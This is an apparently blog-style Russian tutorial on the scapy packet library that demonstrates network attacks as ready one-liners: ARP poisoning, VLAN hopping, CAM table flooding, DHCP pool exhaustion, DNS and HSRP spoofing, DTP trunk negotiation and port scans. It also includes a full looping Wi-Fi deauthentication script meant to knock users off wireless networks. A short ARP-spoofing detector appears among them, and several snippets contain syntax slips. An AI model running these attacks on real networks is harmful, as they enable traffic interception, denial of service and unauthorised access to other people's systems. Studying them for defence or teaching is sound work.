21.04.2015

scapy

ARP-spoofing

>>> sendp(Ether(dst='targetMAC')/ARP(op='is-at', psrc='gatewayIP', pdst='targetIP', hwsrc='attackerMAC'))

Сформированный таким образом пакет «отравит» arp кэш targetIP. Одна из сильных черт scapy — наглядность, то есть Вам необходимо понимать, что Вы хотите сделать, конечно это может создать некоторые трудности, но зато поможет сформировать целостную картину и защитит от «выстрела в ногу». Например, взглянув на сформированный таким образом пакет, становится понятно, что ARP-spoofing не вылечить с помощью port security потому, что MAC адрес отправителя не меняется, в таком случае нас спасет только arp инспекция. Хотя, давайте попробуем реализовать защиту с использованием scapy. Предположим, что весь трафик коммутатора мы зеркалируем на порт, где у нас будет происходить анализ. Выявлять атаку предлагаю по принципу, если компьютер не отправлял arp запрос, то и arp ответа он получать не должен.

import time
from scapy.all import *

arp_table = {}
def arp_inspection(pkt):
    global arp_table
    op = pkt.getlayer(ARP).op
    src = pkt.getlayer(Ether).src
    if op == 1:          # op is who-has
        arp_table[src] = time.time()
    if op == 2:          # op is is-at
    dst = pkt.getlayer(Ether).dst
        if dst in arp_table:
            time_arp_req = arp_table.pop(dst, None)
            if int(time.time() - time_arp_req) > 5:
                print "Alert! Attack from %s" % src
        else:
            print "Alert! Attack from %s" % src

sniff(filter='arp', prn=arp_inspection)

Скрипт отрабатывает заложенную логику и такие программы, как например «cain & abel» не смогут бесшумно провести ARP-spoofing. Но мы с Вами знаем, что есть особенности реализации arp в некоторых операционных системах, а именно если компьютеру приходит arp запрос с просьбой сообщить информацию о себе, он автоматически доверяет ему и заносит соответствие ip-mac отправителя к себе в таблицу. Т.е. следующий пакет так же «отравит» arp кэш.

>>> sendp(Ether(dst='targetMAC')/ARP(op='who-has', psrc='gatewayIP', pdst='targetIP'))

В этом случае наш скрипт не будет эффективен. Получается, что работая со scapy Вы изучаете не только программу, но и сами протоколы, их логику.

VLAN Hooping

>>> send(Dot1Q(vlan=1)/Dot1Q(vlan=2)/IP(dst='targetIP')/ICMP()

Следующим достоинством scapy, считаю — гибкость. Классическим примером(гибкости) является ситуация, когда нам необходимо произвести arp-spoofing в соседнем vlan, нам не придется писать новую программу, надо правильно собрать пакет.

>>> sendp(Ether(dst='clientMAC')/Dot1Q(vlan=1)/Dot1Q(vlan=2)/ARP(op='who-has', psrc='gatewayIP', pdst='clientIP'))

Конечно, такой «финт ушами» сработает если разделения на vlan будет внутри одного широковещательного домена.

CAM Table Overflow

>>> sendp(Ether(src=RandMAC())/IP(dst='gatewayIP')/ICMP(), loop=1)

RandMAC() — функция возвращает произвольное значение, в формате MAC адреса; параметр loop — зацикливает отправку, что в итоге приводит к исчерпанию буфера таблицы коммутатора. Наверное, это пример простоты реализации некоторых атак.

Больше примеров

Далее я покажу примеры практически без описания, они просты и, возможно, некоторые из них послужат отправной точкой для использования scapy в Вашей работе. Например, исчерпание DHCP пула выглядит следующим образом.

>>> sendp(Ether(src=RandMAC(),dst='ff:ff:ff:ff:ff:ff')/IP(src='0.0.0.0',dst='255.255.255.255')/UDP(sport=68,dport=67)/BOOTP(chaddr=RandMAC())/DHCP(options=[("message-type","discover"),"end"]), loop=1)


DNS-spoofing реализуется так.

send(IP(dst='dnsserverIP'/UDP(dport=53)/DNS(qd=DNSQR(qname="google.com")))


HSRP spoofing

sendp(Ether(src=’00:00:0C:07:AC:02’, dst=’01:00:5E:00:00:02’ )/IP(dst=’224.0.0.2’, src='attacerIP', ttl=1)/UDP()/HSRP(priority=230, virtualIP='virtualIP'), inter=3, loop=1)

src mac – HSRP virtual MAC (возможный диапазон 00:00:0C:9F:F0:00 — 00:00:0C:9F:FF:FF); dst mac – IP v4 multicast MAC (возможный диапазон 01:00:5E:00:00:00 — 01:00:5E:00:00:FF); ip dst – ipv4 multicast address (224.0.0.0/24); priority – приоритет маршрута, значения от 0 до 255; inter=3 — в соответствии с интервалом по умолчанию на оборудовании cisco; все остальные настройки, аналогичны настройкам по умолчанию оборудования cisco. Такой пакет сделает attacerIP активным HSRP маршрутом.
Различные способы сканирование портов.

>>> res = sr1(IP(dst='targetIP')/TCP(dport=443, flags="S")) # SYN
>>> res = sr1(IP(dst='targetIP')/TCP(dport=443, flags="A")) # ACK
>>> res = sr1(IP(dst='targetIP')/TCP(dport=443, flags="FPU")) # Xmas

Посмотреть результат можно таким образом.

if res.getlayer(TCP).flags == 0x12:
    print "Open"
elif res.getlayer(TCP).flags == 0x14:
    print "Close"

Или так.

>>> res, unres = sr(IP(dst='targetIP')/TCP(dport=[443, 80, 22], flags="S"))
>>> res.summary(lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%")
https      RA
www        SA
ssh        RA


Следующая положительная особенность scapy — возможность создавать протоколы самостоятельно.Протокол DTP не реализован в рамках штатного набора, зато его можно загрузить как модуль.

>>> load_contrib('dtp')

Опасность DTP состоит в том, что мы самостоятельно можем перевести порт коммутатора в режим trunk и получить расширенный доступ. Если взглянуть в исходники модуля, то увидим там функцию которая нам поможет включить режим trunk на интерфейсе.

def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())):
    print "Trying to negotiate a trunk on interface %s" % iface
    p = Dot3(src=mymac, dst="01:00:0c:cc:cc:cc")/LLC()/SNAP()/DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])
    sendp(p)

Вместе с загрузкой протокола DTP, мы загружаем и функцию negotiate_trunk, можем её выполнить прямо из консоли интерпретатора и результат не заставит себя долго ждать.

>>> negotiate_trunk()


802.11

Scapy может успешно работать с беспроводными сетями, в большинстве функционала способен заменить Aircrack-ng. Например, посмотреть список доступных сетей можно так.

from scapy.all import *

ap_list = []
def ssid(pkt) :
    if pkt.haslayer(Dot11) :
        if pkt.type == 0 and pkt.subtype == 8:      # type 0 subtype 8 - Beacon packet type
            if pkt.addr2 not in ap_list:
                ap_list.append(pkt.addr2)
                print "AP: %s SSID: %s" % (ptk.addr2, ptk.info)
               
sniff(iface='mon0', prn=ssid)

Довольно просто, давайте что-нибудь посложнее. Предположим, что Вам поставлена задача не допустить работы беспроводных устройств на контролируемой территории. Каким образом это организовать, если не прибегать к радиочастотным глушителям? Одним из вариантов может являться подавление работы устройств пользователей. Организовать это можно путем отправки клиентам Deauth пакета.
Скрипт широковещательной отправки Deauth пакетов

from scapy.all import *
import random, time, sys
from multiprocessing import Process

iface='mon0'
def wifi_snif():
    pkt = sniff(iface=iface, timeout=1, lfilter= lambda x: x.haslayer(Dot11Beacon) or x.haslayer(Dot11ProbeResp))
    u_pkt = []
    u_addr2 = []
    for p in pkt:
        if p.addr2 not in u_addr2:
            u_pkt.append(p)
            u_addr2.append(p.addr2)
    return u_pkt

def deauth(pkt):
    os.system("iw dev %s set channel %d" % (iface, ord(pkt[Dot11Elt:3].info)))
    sendp(RadioTap()/Dot11(type=0, subtype=12, addr1="ff:ff:ff:ff:ff:ff", addr2=pkt.addr2, addr3=pkt.addr3)/Dot11Deauth(),count=4, iface=iface, verbose=0)

def chg_cnl():
    while True:
        cnl = random.randrange(1,12)
        os.system("iw dev %s set channel %d" % (iface, cnl))
        time.sleep(0.3)

def main_fnc():
    p = Process(target=chg_cnl)
    p.start()
    pkt_ssid = wifi_snif()
    p.terminate()
    for pkt in pkt_ssid:
        deauth(pkt)

while 1:
    main_fnc()


Начинающие исследователи могут упростить подход к задачам фаззинга протоколов, в scapy реализован простейший функционал. Например, простейший фаззинг Beacon пакетов может выглядеть так.

>>>sendp(RadioTap(version=0, pad=0)/
         Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2='00:c0:ca:76:3d:33', addr3='00:c0:ca:76:3d:33')/
         Dot11Beacon(cap="ESS") /
         fuzz(Dot11Elt(ID="SSID"))/
         fuzz(Dot11Elt(ID="Rates")/
         fuzz(ID="DSset"))/
         fuzz(Dot11Elt(ID="TIM")),
         iface="mon0", count=10, inter=0.05, verbose=0)



Нагрузочное тестирование

Последним в списке примеров, но далеко не последним по значению, у меня будет использование scapy для проведения нагрузочного тестирования на каналы связи. Я в этом вопросе не специалист и возможно объём генерируемого трафика не самый важный параметр, но все же. В scapy это делается просто, как и многое другое.

>>> sendpfast((Ether(dst='targetMAC')/IP(dst='targetIP')/ICMP('A'*100)*100, loop=1000)

По выполнению команды, должен появится подобный результат.